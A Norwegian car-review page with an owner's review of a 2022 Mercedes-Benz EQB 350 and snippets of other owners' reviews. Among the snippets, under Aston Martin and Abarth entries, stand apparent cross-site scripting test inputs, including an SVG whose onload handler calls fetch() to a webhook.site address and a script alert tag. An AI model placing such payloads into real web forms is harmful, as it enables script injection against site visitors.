2022 Mercedes-Benz EQB 350 4MATIC Progressive Edition Plus Sport Utility Vehicle Elektrisitet
Vurdert av Realist
Veldig fornøyd med denne bilen, fantastisk familiebil med skyvbare bakseter og 7 seter. Nyttelasten er også god med ca. 530 kg, noe som ofte er mangelvare på elbiler. Måtte få nytt lokk på kjølevæske beholderen da det var for dårlig lufting eller noe. Ellers ikke noe å utsette på bilen eller Bertel O Steen de snart 3 årene eller 45 000 km vi har hatt bilen. Vurderte å bytte til ny EQB (5 seter) iår (2025) siden 2 av barna er blitt store og ikke er med lenger, men til tross for kampanjer ble det ikke så billig når man hadde lagt på tilsvarende motor og utstyr. I tillegg var nyttelast for bilen redusert med over 120 kg, hvorfor ? Beholdt derfor den vi har og som vi er veldig fornøyd med.
Flere vurderinger fra samme modell
Mercedes-Benz EQB (2025)
En meget praktisk, driftsikker og komfortabel el- bil som passer familiens behov både sommer og vinter
Mercedes-Benz EQB (2025)
Grei bil når alt virker og du ikke trenger å forholde deg til Bertel O Steen. Ville ikke valgt denne hvis jeg kunne velge på nytt.
Mercedes-Benz EQB (2024)
Veldig fornøyd, perfekt familiebil. Men god plass og høyde i baksete for barn. Komfort’n er som Mercedes skal være.
Mercedes-Benz EQB (2022)
Beste bilen jeg har hatt (før denne Mercedes E-klasse 240D 4-matic stasj0onsvogn 2017-modell)
Mercedes-Benz EQB (2022)
41 mil rekkevidde sommerstid er nok oppnåelig med forsiktig kjøring i 80 km/t. Med litt motorvei osv så er du kjapt nede på 35 mil. Vinterstid kan du regne 25-28 mil, da snakker vi skikkelig vint
Mercedes-Benz EQB (2022)
Jeg har så langt bare godord å si om EQB. Det er en fryd å kjøre bilen. Den er fast, stille og svært komfortabel
Flere vurderinger
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km
